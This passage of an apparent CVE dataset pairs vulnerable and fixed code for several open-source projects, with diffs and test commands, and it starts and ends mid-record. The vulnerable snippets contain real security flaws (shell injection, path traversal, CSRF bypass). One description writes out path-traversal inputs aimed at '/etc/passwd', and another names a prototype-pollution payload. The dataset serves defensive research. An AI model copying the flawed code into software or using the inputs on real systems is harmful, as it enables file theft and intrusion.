panicked\")\n\t\t}\n\t}()\n\n\tenc, _ := base64.StdEncoding.DecodeString(encData)\n\n\tblock, err := aes.NewCipher(encKey)\n\tif err != nil {\n\t\tlog.Error(ctx, \"Could not create a cipher\", err)\n\t\treturn \"\", err\n\t}\n\n\taesGCM, err := cipher.NewGCM(block)\n\tif err != nil {\n\t\tlog.Error(ctx, \"Could not create a GCM\", err)\n\t\treturn \"\", err\n\t}\n\n\tnonceSize := aesGCM.NonceSize()\n\tnonce, ciphertext := enc[:nonceSize], enc[nonceSize:]\n\n\tplaintext, err := aesGCM.Open(nil, nonce, ciphertext, nil)\n\tif err != nil {\n\t\tlog.Error(ctx, \"Could not decrypt password\", err)\n\t\treturn \"\", err\n\t}\n\n\treturn string(plaintext), nil"}, {"id": "fix_go_77_4", "commit": "7f030b0859653593fd2ac0df69f4a313f9caf9ff", "file_path": "core/auth/auth.go", "start_line": 126, "end_line": 139, "snippet": "func createNewSecret(ctx context.Context, ds model.DataStore) string {\n\tlog.Info(ctx, \"Creating new JWT secret, used for encrypting UI sessions\")\n\tsecret := uuid.NewString()\n\tencSecret, err := utils.Encrypt(ctx, getEncKey(), secret)\n\tif err != nil {\n\t\tlog.Error(ctx, \"Could not encrypt JWT secret\", err)\n\t}\n\n\tif err := ds.Property(ctx).Put(consts.JWTSecretKey, encSecret); err != nil {\n\t\tlog.Error(ctx, \"Could not save JWT secret in DB\", err)\n\t}\n\n\treturn secret\n}"}, {"id": "fix_go_77_5", "commit": "7f030b0859653593fd2ac0df69f4a313f9caf9ff", "file_path": "core/auth/auth.go", "start_line": 141, "end_line": 148, "snippet": "func getEncKey() []byte {\n\tkey := cmp.Or(\n\t\tconf.Server.PasswordEncryptionKey,\n\t\tconsts.DefaultEncryptionKey,\n\t)\n\tsum := sha256.Sum256([]byte(key))\n\treturn sum[:]\n}"}], "vul_patch": "--- a/core/auth/auth.go\n+++ b/core/auth/auth.go\n@@ -1,12 +1,18 @@\n func Init(ds model.DataStore) {\n \tonce.Do(func() {\n+\t\tctx := context.TODO()\n \t\tlog.Info(\"Setting Session Timeout\", \"value\", conf.Server.SessionTimeout)\n-\t\tsecret, err := ds.Property(context.TODO()).Get(consts.JWTSecretKey)\n+\n+\t\tsecret, err := ds.Property(ctx).Get(consts.JWTSecretKey)\n \t\tif err != nil || secret == \"\" {\n-\t\t\tlog.Error(\"No JWT secret found in DB. Setting a temp one, but please report this error\", err)\n-\t\t\tsecret = uuid.NewString()\n+\t\t\tsecret = createNewSecret(ctx, ds)\n+\t\t} else {\n+\t\t\tif secret, err = utils.Decrypt(ctx, getEncKey(), secret); err != nil {\n+\t\t\t\tlog.Error(ctx, \"Could not decrypt JWT secret, creating a new one\", err)\n+\t\t\t\tsecret = createNewSecret(ctx, ds)\n+\t\t\t}\n \t\t}\n-\t\tSecret = []byte(secret)\n-\t\tTokenAuth = jwtauth.New(\"HS256\", Secret, nil)\n+\n+\t\tTokenAuth = jwtauth.New(\"HS256\", []byte(secret), nil)\n \t})\n }\n\n--- /dev/null\n+++ b/core/auth/auth.go\n@@ -0,0 +1,4 @@\n+var (\n+\tonce      sync.Once\n+\tTokenAuth *jwtauth.JWTAuth\n+)\n\n--- /dev/null\n+++ b/core/auth/auth.go\n@@ -0,0 +1,33 @@\n+func Decrypt(ctx context.Context, encKey []byte, encData string) (value string, err error) {\n+\t// Recover from any panics\n+\tdefer func() {\n+\t\tif r := recover(); r != nil {\n+\t\t\tlog.Error(ctx, \"Panic during decryption\", r)\n+\t\t\terr = errors.New(\"decryption panicked\")\n+\t\t}\n+\t}()\n+\n+\tenc, _ := base64.StdEncoding.DecodeString(encData)\n+\n+\tblock, err := aes.NewCipher(encKey)\n+\tif err != nil {\n+\t\tlog.Error(ctx, \"Could not create a cipher\", err)\n+\t\treturn \"\", err\n+\t}\n+\n+\taesGCM, err := cipher.NewGCM(block)\n+\tif err != nil {\n+\t\tlog.Error(ctx, \"Could not create a GCM\", err)\n+\t\treturn \"\", err\n+\t}\n+\n+\tnonceSize := aesGCM.NonceSize()\n+\tnonce, ciphertext := enc[:nonceSize], enc[nonceSize:]\n+\n+\tplaintext, err := aesGCM.Open(nil, nonce, ciphertext, nil)\n+\tif err != nil {\n+\t\tlog.Error(ctx, \"Could not decrypt password\", err)\n+\t\treturn \"\", err\n+\t}\n+\n+\treturn string(plaintext), nil\n\n--- /dev/null\n+++ b/core/auth/auth.go\n@@ -0,0 +1,14 @@\n+func createNewSecret(ctx context.Context, ds model.DataStore) string {\n+\tlog.Info(ctx, \"Creating new JWT secret, used for encrypting UI sessions\")\n+\tsecret := uuid.NewString()\n+\tencSecret, err := utils.Encrypt(ctx, getEncKey(), secret)\n+\tif err != nil {\n+\t\tlog.Error(ctx, \"Could not encrypt JWT secret\", err)\n+\t}\n+\n+\tif err := ds.Property(ctx).Put(consts.JWTSecretKey, encSecret); err != nil {\n+\t\tlog.Error(ctx, \"Could not save JWT secret in DB\", err)\n+\t}\n+\n+\treturn secret\n+}\n\n--- /dev/null\n+++ b/core/auth/auth.go\n@@ -0,0 +1,8 @@\n+func getEncKey() []byte {\n+\tkey := cmp.Or(\n+\t\tconf.Server.PasswordEncryptionKey,\n+\t\tconsts.DefaultEncryptionKey,\n+\t)\n+\tsum := sha256.Sum256([]byte(key))\n+\treturn sum[:]\n+}\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2024-56362:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/navidrome\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\ngo test -timeout 30s -run ^TestAuth$ github.com/navidrome/navidrome/core/auth\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2024-56362:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/navidrome\ngit apply --whitespace=nowarn /workspace/fix.patch\ngo test -timeout 30s -run ^TestAuth$ github.com/navidrome/navidrome/core/auth\n"}
{"cve_id": "CVE-2020-26300", "cve_description": "systeminformation is an npm package that provides system and OS information library for node.js. In systeminformation before version 4.26.2 there is a command injection vulnerability. Problem was fixed in version 4.26.2 with a shell string sanitation fix.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/sebhildebrandt/systeminformation", "patch_url": ["https://github.com/sebhildebrandt/systeminformation/commit/bad372e654cdd549e7d786acbba0035ded54c607"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_215_1", "commit": "1475505", "file_path": "lib/util.js", "start_line": 488, "end_line": 507, "snippet": "function sanitizeShellString(str) {\n  let result = str;\n  result = result.replace(/>/g, \"\");\n  result = result.replace(/</g, \"\");\n  result = result.replace(/\\*/g, \"\");\n  result = result.replace(/\\?/g, \"\");\n  result = result.replace(/\\[/g, \"\");\n  result = result.replace(/\\]/g, \"\");\n  result = result.replace(/\\|/g, \"\");\n  result = result.replace(/\\`/g, \"\");\n  result = result.replace(/$/g, \"\");\n  result = result.replace(/;/g, \"\");\n  result = result.replace(/&/g, \"\");\n  result = result.replace(/\\)/g, \"\");\n  result = result.replace(/\\(/g, \"\");\n  result = result.replace(/\\$/g, \"\");\n  result = result.replace(/#/g, \"\");\n  result = result.replace(/\\\\/g, \"\");\n  return result\n}"}], "fix_func": [{"id": "fix_js_215_1", "commit": "bad372e654cdd549e7d786acbba0035ded54c607", "file_path": "lib/util.js", "start_line": 488, "end_line": 510, "snippet": "function sanitizeShellString(str) {\n  let result = str;\n  result = result.replace(/>/g, \"\");\n  result = result.replace(/</g, \"\");\n  result = result.replace(/\\*/g, \"\");\n  result = result.replace(/\\?/g, \"\");\n  result = result.replace(/\\[/g, \"\");\n  result = result.replace(/\\]/g, \"\");\n  result = result.replace(/\\|/g, \"\");\n  result = result.replace(/\\`/g, \"\");\n  result = result.replace(/$/g, \"\");\n  result = result.replace(/;/g, \"\");\n  result = result.replace(/&/g, \"\");\n  result = result.replace(/\\)/g, \"\");\n  result = result.replace(/\\(/g, \"\");\n  result = result.replace(/\\$/g, \"\");\n  result = result.replace(/#/g, \"\");\n  result = result.replace(/\\\\/g, \"\");\n  result = result.replace(/\\t/g, \"\");\n  result = result.replace(/\\n/g, \"\");\n  result = result.replace(/\\\"/g, \"\");\n  return result\n}"}], "vul_patch": "--- a/lib/util.js\n+++ b/lib/util.js\n@@ -16,5 +16,8 @@\n   result = result.replace(/\\$/g, \"\");\n   result = result.replace(/#/g, \"\");\n   result = result.replace(/\\\\/g, \"\");\n+  result = result.replace(/\\t/g, \"\");\n+  result = result.replace(/\\n/g, \"\");\n+  result = result.replace(/\\\"/g, \"\");\n   return result\n }\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-56509", "cve_description": "changedetection.io is a free open source web page change detection, website watcher, restock monitor and notification service. Improper input validation in the application can allow attackers to perform local file read (LFR) or path traversal attacks. These vulnerabilities occur when user input is used to construct file paths without adequate sanitization or validation. For example, using file:../../../etc/passwd or file: ///etc/passwd can bypass weak validations and allow unauthorized access to sensitive files. Even though this has been addressed in previous patch, it is still insufficient. This vulnerability is fixed in 0.48.05.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/dgtlmoon/changedetection.io", "patch_url": ["https://github.com/dgtlmoon/changedetection.io/commit/f7e9846c9b40a229813d19cdb66bf60fbe5e6a2a", "https://github.com/dgtlmoon/changedetection.io/commit/4419bc0e61d0b03c588bd573a3602bbcfd953671"], "programing_language": "Python", "vul_func": [{"id": "vul_py_81_1", "commit": "5dea5e1", "file_path": "changedetectionio/processors/__init__.py", "start_line": "30", "end_line": "164", "snippet": "    def call_browser(self, preferred_proxy_id=None):\n\n        from requests.structures import CaseInsensitiveDict\n\n        url = self.watch.link\n\n        # Protect against file://, file:/ access, check the real \"link\" without any meta \"source:\" etc prepended.\n        if re.search(r'^file:/', url.strip(), re.IGNORECASE):\n            if not strtobool(os.getenv('ALLOW_FILE_URI', 'false')):\n                raise Exception(\n                    \"file:// type access is denied for security reasons.\"\n                )\n\n        # Requests, playwright, other browser via wss:// etc, fetch_extra_something\n        prefer_fetch_backend = self.watch.get('fetch_backend', 'system')\n\n        # Proxy ID \"key\"\n        preferred_proxy_id = preferred_proxy_id if preferred_proxy_id else self.datastore.get_preferred_proxy_for_watch(uuid=self.watch.get('uuid'))\n\n        # Pluggable content self.fetcher\n        if not prefer_fetch_backend or prefer_fetch_backend == 'system':\n            prefer_fetch_backend = self.datastore.data['settings']['application'].get('fetch_backend')\n\n        # In the case that the preferred fetcher was a browser config with custom connection URL..\n        # @todo - on save watch, if its extra_browser_ then it should be obvious it will use playwright (like if its requests now..)\n        custom_browser_connection_url = None\n        if prefer_fetch_backend.startswith('extra_browser_'):\n            (t, key) = prefer_fetch_backend.split('extra_browser_')\n            connection = list(\n                filter(lambda s: (s['browser_name'] == key), self.datastore.data['settings']['requests'].get('extra_browsers', [])))\n            if connection:\n                prefer_fetch_backend = 'html_webdriver'\n                custom_browser_connection_url = connection[0].get('browser_connection_url')\n\n        # PDF should be html_requests because playwright will serve it up (so far) in a embedded page\n        # @todo https://github.com/dgtlmoon/changedetection.io/issues/2019\n        # @todo needs test to or a fix\n        if self.watch.is_pdf:\n           prefer_fetch_backend = \"html_requests\"\n\n        # Grab the right kind of 'fetcher', (playwright, requests, etc)\n        from changedetectionio import content_fetchers\n        if hasattr(content_fetchers, prefer_fetch_backend):\n            # @todo TEMPORARY HACK - SWITCH BACK TO PLAYWRIGHT FOR BROWSERSTEPS\n            if prefer_fetch_backend == 'html_webdriver' and self.watch.has_browser_steps:\n                # This is never supported in selenium anyway\n                logger.warning(\"Using playwright fetcher override for possible puppeteer request in browsersteps, because puppetteer:browser steps is incomplete.\")\n                from changedetectionio.content_fetchers.playwright import fetcher as playwright_fetcher\n                fetcher_obj = playwright_fetcher\n            else:\n                fetcher_obj = getattr(content_fetchers, prefer_fetch_backend)\n        else:\n            # What it referenced doesnt exist, Just use a default\n            fetcher_obj = getattr(content_fetchers, \"html_requests\")\n\n        proxy_url = None\n        if preferred_proxy_id:\n            # Custom browser endpoints should NOT have a proxy added\n            if not prefer_fetch_backend.startswith('extra_browser_'):\n                proxy_url = self.datastore.proxy_list.get(preferred_proxy_id).get('url')\n                logger.debug(f\"Selected proxy key '{preferred_proxy_id}' as proxy URL '{proxy_url}' for {url}\")\n            else:\n                logger.debug(f\"Skipping adding proxy data when custom Browser endpoint is specified. \")\n\n        # Now call the fetcher (playwright/requests/etc) with arguments that only a fetcher would need.\n        # When browser_connection_url is None, it method should default to working out whats the best defaults (os env vars etc)\n        self.fetcher = fetcher_obj(proxy_override=proxy_url,\n                                   custom_browser_connection_url=custom_browser_connection_url\n                                   )\n\n        if self.watch.has_browser_steps:\n            self.fetcher.browser_steps = self.watch.get('browser_steps', [])\n            self.fetcher.browser_steps_screenshot_path = os.path.join(self.datastore.datastore_path, self.watch.get('uuid'))\n\n        # Tweak the base config with the per-watch ones\n        from changedetectionio.safe_jinja import render as jinja_render\n        request_headers = CaseInsensitiveDict()\n\n        ua = self.datastore.data['settings']['requests'].get('default_ua')\n        if ua and ua.get(prefer_fetch_backend):\n            request_headers.update({'User-Agent': ua.get(prefer_fetch_backend)})\n\n        request_headers.update(self.watch.get('headers', {}))\n        request_headers.update(self.datastore.get_all_base_headers())\n        request_headers.update(self.datastore.get_all_headers_in_textfile_for_watch(uuid=self.watch.get('uuid')))\n\n        # https://github.com/psf/requests/issues/4525\n        # Requests doesnt yet support brotli encoding, so don't put 'br' here, be totally sure that the user cannot\n        # do this by accident.\n        if 'Accept-Encoding' in request_headers and \"br\" in request_headers['Accept-Encoding']:\n            request_headers['Accept-Encoding'] = request_headers['Accept-Encoding'].replace(', br', '')\n\n        for header_name in request_headers:\n            request_headers.update({header_name: jinja_render(template_str=request_headers.get(header_name))})\n\n        timeout = self.datastore.data['settings']['requests'].get('timeout')\n\n        request_body = self.watch.get('body')\n        if request_body:\n            request_body = jinja_render(template_str=self.watch.get('body'))\n        \n        request_method = self.watch.get('method')\n        ignore_status_codes = self.watch.get('ignore_status_codes', False)\n\n        # Configurable per-watch or global extra delay before extracting text (for webDriver types)\n        system_webdriver_delay = self.datastore.data['settings']['application'].get('webdriver_delay', None)\n        if self.watch.get('webdriver_delay'):\n            self.fetcher.render_extract_delay = self.watch.get('webdriver_delay')\n        elif system_webdriver_delay is not None:\n            self.fetcher.render_extract_delay = system_webdriver_delay\n\n        if self.watch.get('webdriver_js_execute_code') is not None and self.watch.get('webdriver_js_execute_code').strip():\n            self.fetcher.webdriver_js_execute_code = self.watch.get('webdriver_js_execute_code')\n\n        # Requests for PDF's, images etc should be passwd the is_binary flag\n        is_binary = self.watch.is_pdf\n\n        # And here we go! call the right browser with browser-specific settings\n        empty_pages_are_a_change = self.datastore.data['settings']['application'].get('empty_pages_are_a_change', False)\n\n        self.fetcher.run(url=url,\n                         timeout=timeout,\n                         request_headers=request_headers,\n                         request_body=request_body,\n                         request_method=request_method,\n                         ignore_status_codes=ignore_status_codes,\n                         current_include_filters=self.watch.get('include_filters'),\n                         is_binary=is_binary,\n                         empty_pages_are_a_change=empty_pages_are_a_change\n                         )\n\n        #@todo .quit here could go on close object, so we can run JS if change-detected\n        self.fetcher.quit()\n\n        # After init, call run_changedetection() which will do the actual change-detection"}], "fix_func": [{"id": "fix_py_81_1", "commit": "f7e9846", "file_path": "changedetectionio/processors/__init__.py", "start_line": "30", "end_line": "164", "snippet": "    def call_browser(self, preferred_proxy_id=None):\n\n        from requests.structures import CaseInsensitiveDict\n\n        url = self.watch.link\n\n        # Protect against file:, file:/, file:// access, check the real \"link\" without any meta \"source:\" etc prepended.\n        if re.search(r'^file:', url.strip(), re.IGNORECASE):\n            if not strtobool(os.getenv('ALLOW_FILE_URI', 'false')):\n                raise Exception(\n                    \"file:// type access is denied for security reasons.\"\n                )\n\n        # Requests, playwright, other browser via wss:// etc, fetch_extra_something\n        prefer_fetch_backend = self.watch.get('fetch_backend', 'system')\n\n        # Proxy ID \"key\"\n        preferred_proxy_id = preferred_proxy_id if preferred_proxy_id else self.datastore.get_preferred_proxy_for_watch(uuid=self.watch.get('uuid'))\n\n        # Pluggable content self.fetcher\n        if not prefer_fetch_backend or prefer_fetch_backend == 'system':\n            prefer_fetch_backend = self.datastore.data['settings']['application'].get('fetch_backend')\n\n        # In the case that the preferred fetcher was a browser config with custom connection URL..\n        # @todo - on save watch, if its extra_browser_ then it should be obvious it will use playwright (like if its requests now..)\n        custom_browser_connection_url = None\n        if prefer_fetch_backend.startswith('extra_browser_'):\n            (t, key) = prefer_fetch_backend.split('extra_browser_')\n            connection = list(\n                filter(lambda s: (s['browser_name'] == key), self.datastore.data['settings']['requests'].get('extra_browsers', [])))\n            if connection:\n                prefer_fetch_backend = 'html_webdriver'\n                custom_browser_connection_url = connection[0].get('browser_connection_url')\n\n        # PDF should be html_requests because playwright will serve it up (so far) in a embedded page\n        # @todo https://github.com/dgtlmoon/changedetection.io/issues/2019\n        # @todo needs test to or a fix\n        if self.watch.is_pdf:\n           prefer_fetch_backend = \"html_requests\"\n\n        # Grab the right kind of 'fetcher', (playwright, requests, etc)\n        from changedetectionio import content_fetchers\n        if hasattr(content_fetchers, prefer_fetch_backend):\n            # @todo TEMPORARY HACK - SWITCH BACK TO PLAYWRIGHT FOR BROWSERSTEPS\n            if prefer_fetch_backend == 'html_webdriver' and self.watch.has_browser_steps:\n                # This is never supported in selenium anyway\n                logger.warning(\"Using playwright fetcher override for possible puppeteer request in browsersteps, because puppetteer:browser steps is incomplete.\")\n                from changedetectionio.content_fetchers.playwright import fetcher as playwright_fetcher\n                fetcher_obj = playwright_fetcher\n            else:\n                fetcher_obj = getattr(content_fetchers, prefer_fetch_backend)\n        else:\n            # What it referenced doesnt exist, Just use a default\n            fetcher_obj = getattr(content_fetchers, \"html_requests\")\n\n        proxy_url = None\n        if preferred_proxy_id:\n            # Custom browser endpoints should NOT have a proxy added\n            if not prefer_fetch_backend.startswith('extra_browser_'):\n                proxy_url = self.datastore.proxy_list.get(preferred_proxy_id).get('url')\n                logger.debug(f\"Selected proxy key '{preferred_proxy_id}' as proxy URL '{proxy_url}' for {url}\")\n            else:\n                logger.debug(f\"Skipping adding proxy data when custom Browser endpoint is specified. \")\n\n        # Now call the fetcher (playwright/requests/etc) with arguments that only a fetcher would need.\n        # When browser_connection_url is None, it method should default to working out whats the best defaults (os env vars etc)\n        self.fetcher = fetcher_obj(proxy_override=proxy_url,\n                                   custom_browser_connection_url=custom_browser_connection_url\n                                   )\n\n        if self.watch.has_browser_steps:\n            self.fetcher.browser_steps = self.watch.get('browser_steps', [])\n            self.fetcher.browser_steps_screenshot_path = os.path.join(self.datastore.datastore_path, self.watch.get('uuid'))\n\n        # Tweak the base config with the per-watch ones\n        from changedetectionio.safe_jinja import render as jinja_render\n        request_headers = CaseInsensitiveDict()\n\n        ua = self.datastore.data['settings']['requests'].get('default_ua')\n        if ua and ua.get(prefer_fetch_backend):\n            request_headers.update({'User-Agent': ua.get(prefer_fetch_backend)})\n\n        request_headers.update(self.watch.get('headers', {}))\n        request_headers.update(self.datastore.get_all_base_headers())\n        request_headers.update(self.datastore.get_all_headers_in_textfile_for_watch(uuid=self.watch.get('uuid')))\n\n        # https://github.com/psf/requests/issues/4525\n        # Requests doesnt yet support brotli encoding, so don't put 'br' here, be totally sure that the user cannot\n        # do this by accident.\n        if 'Accept-Encoding' in request_headers and \"br\" in request_headers['Accept-Encoding']:\n            request_headers['Accept-Encoding'] = request_headers['Accept-Encoding'].replace(', br', '')\n\n        for header_name in request_headers:\n            request_headers.update({header_name: jinja_render(template_str=request_headers.get(header_name))})\n\n        timeout = self.datastore.data['settings']['requests'].get('timeout')\n\n        request_body = self.watch.get('body')\n        if request_body:\n            request_body = jinja_render(template_str=self.watch.get('body'))\n        \n        request_method = self.watch.get('method')\n        ignore_status_codes = self.watch.get('ignore_status_codes', False)\n\n        # Configurable per-watch or global extra delay before extracting text (for webDriver types)\n        system_webdriver_delay = self.datastore.data['settings']['application'].get('webdriver_delay', None)\n        if self.watch.get('webdriver_delay'):\n            self.fetcher.render_extract_delay = self.watch.get('webdriver_delay')\n        elif system_webdriver_delay is not None:\n            self.fetcher.render_extract_delay = system_webdriver_delay\n\n        if self.watch.get('webdriver_js_execute_code') is not None and self.watch.get('webdriver_js_execute_code').strip():\n            self.fetcher.webdriver_js_execute_code = self.watch.get('webdriver_js_execute_code')\n\n        # Requests for PDF's, images etc should be passwd the is_binary flag\n        is_binary = self.watch.is_pdf\n\n        # And here we go! call the right browser with browser-specific settings\n        empty_pages_are_a_change = self.datastore.data['settings']['application'].get('empty_pages_are_a_change', False)\n\n        self.fetcher.run(url=url,\n                         timeout=timeout,\n                         request_headers=request_headers,\n                         request_body=request_body,\n                         request_method=request_method,\n                         ignore_status_codes=ignore_status_codes,\n                         current_include_filters=self.watch.get('include_filters'),\n                         is_binary=is_binary,\n                         empty_pages_are_a_change=empty_pages_are_a_change\n                         )\n\n        #@todo .quit here could go on close object, so we can run JS if change-detected\n        self.fetcher.quit()\n\n        # After init, call run_changedetection() which will do the actual change-detection"}], "vul_patch": "--- a/changedetectionio/processors/__init__.py\n+++ b/changedetectionio/processors/__init__.py\n@@ -4,8 +4,8 @@\n \n         url = self.watch.link\n \n-        # Protect against file://, file:/ access, check the real \"link\" without any meta \"source:\" etc prepended.\n-        if re.search(r'^file:/', url.strip(), re.IGNORECASE):\n+        # Protect against file:, file:/, file:// access, check the real \"link\" without any meta \"source:\" etc prepended.\n+        if re.search(r'^file:', url.strip(), re.IGNORECASE):\n             if not strtobool(os.getenv('ALLOW_FILE_URI', 'false')):\n                 raise Exception(\n                     \"file:// type access is denied for security reasons.\"\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2019-15138", "cve_description": "The html-pdf package 2.2.0 for Node.js has an arbitrary file read vulnerability via an HTML file that uses XMLHttpRequest to access a file:/// URL.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/marcbachmann/node-html-pdf", "patch_url": ["https://github.com/marcbachmann/node-html-pdf/commit/c12d6977778014139183c9f8da7579fd7ac65362"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_113_1", "commit": "7f054b6", "file_path": "lib/pdf.js", "start_line": 26, "end_line": 43, "snippet": "function PDF (html, options) {\n  this.html = html\n  this.options = options || {}\n  if (this.options.script) {\n    this.script = path.normalize(this.options.script)\n  } else {\n    this.script = path.join(__dirname, 'scripts', 'pdf_a4_portrait.js')\n  }\n\n  if (this.options.filename) this.options.filename = path.resolve(this.options.filename)\n  if (!this.options.phantomPath) this.options.phantomPath = phantomjs && phantomjs.path\n  this.options.phantomArgs = this.options.phantomArgs || []\n\n  if (this.options.localUrlAccess) this.options.phantomArgs.push('--local-url-access=false')\n  assert(this.options.phantomPath, \"html-pdf: Failed to load PhantomJS module. You have to set the path to the PhantomJS binary using 'options.phantomPath'\")\n  assert(typeof this.html === 'string' && this.html.length, \"html-pdf: Can't create a pdf without an html string\")\n  this.options.timeout = parseInt(this.options.timeout, 10) || 30000\n}"}], "fix_func": [{"id": "fix_js_113_1", "commit": "c12d697", "file_path": "lib/pdf.js", "start_line": 26, "end_line": 43, "snippet": "function PDF (html, options) {\n  this.html = html\n  this.options = options || {}\n  if (this.options.script) {\n    this.script = path.normalize(this.options.script)\n  } else {\n    this.script = path.join(__dirname, 'scripts', 'pdf_a4_portrait.js')\n  }\n\n  if (this.options.filename) this.options.filename = path.resolve(this.options.filename)\n  if (!this.options.phantomPath) this.options.phantomPath = phantomjs && phantomjs.path\n  this.options.phantomArgs = this.options.phantomArgs || []\n\n  if (!this.options.localUrlAccess) this.options.phantomArgs.push('--local-url-access=false')\n  assert(this.options.phantomPath, \"html-pdf: Failed to load PhantomJS module. You have to set the path to the PhantomJS binary using 'options.phantomPath'\")\n  assert(typeof this.html === 'string' && this.html.length, \"html-pdf: Can't create a pdf without an html string\")\n  this.options.timeout = parseInt(this.options.timeout, 10) || 30000\n}"}], "vul_patch": "--- a/lib/pdf.js\n+++ b/lib/pdf.js\n@@ -11,7 +11,7 @@\n   if (!this.options.phantomPath) this.options.phantomPath = phantomjs && phantomjs.path\n   this.options.phantomArgs = this.options.phantomArgs || []\n \n-  if (this.options.localUrlAccess) this.options.phantomArgs.push('--local-url-access=false')\n+  if (!this.options.localUrlAccess) this.options.phantomArgs.push('--local-url-access=false')\n   assert(this.options.phantomPath, \"html-pdf: Failed to load PhantomJS module. You have to set the path to the PhantomJS binary using 'options.phantomPath'\")\n   assert(typeof this.html === 'string' && this.html.length, \"html-pdf: Can't create a pdf without an html string\")\n   this.options.timeout = parseInt(this.options.timeout, 10) || 30000\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-29008", "cve_description": "The SvelteKit framework offers developers an option to create simple REST APIs. This is done by defining a `+server.js` file, containing endpoint handlers for different HTTP methods.\n\nSvelteKit provides out-of-the-box cross-site request forgery (CSRF) protection to its users. The protection is implemented at `kit/src/runtime/server/respond.js`. While the implementation does a sufficient job of mitigating common CSRF attacks, the protection can be bypassed in versions prior to 1.15.2 by simply specifying an upper-cased `Content-Type` header value. The browser will not send uppercase characters, but this check does not block all expected CORS requests.\n\nIf abused, this issue will allow malicious requests to be submitted from third-party domains, which can allow execution of operations within the context of the victim's session, and in extreme scenarios can lead to unauthorized access to users\u2019 accounts. This may lead to all POST operations requiring authentication being allowed in the following cases: If the target site sets `SameSite=None` on its auth cookie and the user visits a malicious site in a Chromium-based browser; if the target site doesn't set the `SameSite` attribute explicitly and the user visits a malicious site with Firefox/Safari with tracking protections turned off; and/or if the user is visiting a malicious site with a very outdated browser.\n\nSvelteKit 1.15.2 contains a patch for this issue. It is also recommended to explicitly set `SameSite` to a value other than `None` on authentication cookies especially if the upgrade cannot be done in a timely manner.", "cwe_info": {"CWE-918": {"name": "Server-Side Request Forgery (SSRF)", "description": "The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination."}}, "repo": "https://github.com/sveltejs/kit", "patch_url": ["https://github.com/sveltejs/kit/commit/ba436c6685e751d968a960fbda65f24cf7a82e9f"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_236_1", "commit": "23d8327", "file_path": "packages/kit/src/utils/http.js", "start_line": 62, "end_line": 65, "snippet": "export function is_content_type(request, ...types) {\n\tconst type = request.headers.get('content-type')?.split(';', 1)[0].trim() ?? '';\n\treturn types.includes(type);\n}"}], "fix_func": [{"id": "fix_js_236_1", "commit": "ba436c6685e751d968a960fbda65f24cf7a82e9f", "file_path": "packages/kit/src/utils/http.js", "start_line": 62, "end_line": 65, "snippet": "function is_content_type(request, ...types) {\n\tconst type = request.headers.get('content-type')?.split(';', 1)[0].trim() ?? '';\n\treturn types.includes(type.toLowerCase());\n}"}], "vul_patch": "--- a/packages/kit/src/utils/http.js\n+++ b/packages/kit/src/utils/http.js\n@@ -1,4 +1,4 @@\n-export function is_content_type(request, ...types) {\n+function is_content_type(request, ...types) {\n \tconst type = request.headers.get('content-type')?.split(';', 1)[0].trim() ?? '';\n-\treturn types.includes(type);\n+\treturn types.includes(type.toLowerCase());\n }\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2019-10795", "cve_description": "undefsafe before 2.0.3 is vulnerable to Prototype Pollution. The 'a' function could be tricked into adding or modifying properties of Object.prototype using a __proto__ payload.", "cwe_info": {"CWE-74": {"name": "Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')", "description": "The product constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component."}}, "repo": "https://github.com/remy/undefsafe", "patch_url": ["https://github.com/remy/undefsafe/commit/f272681b3a50e2c4cbb6a8533795e1453382c822"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_73_1", "commit": "f495954", "file_path": "lib/undefsafe.js", "start_line": 3, "end_line": 117, "snippet": "function undefsafe(obj, path, value, __res) {\n  // I'm not super keen on this private function, but it's because\n  // it'll also be use in the browser and I wont *one* function exposed\n  function split(path) {\n    var res = [];\n    var level = 0;\n    var key = '';\n\n    for (var i = 0; i < path.length; i++) {\n      var c = path.substr(i, 1);\n\n      if (level === 0 && (c === '.' || c === 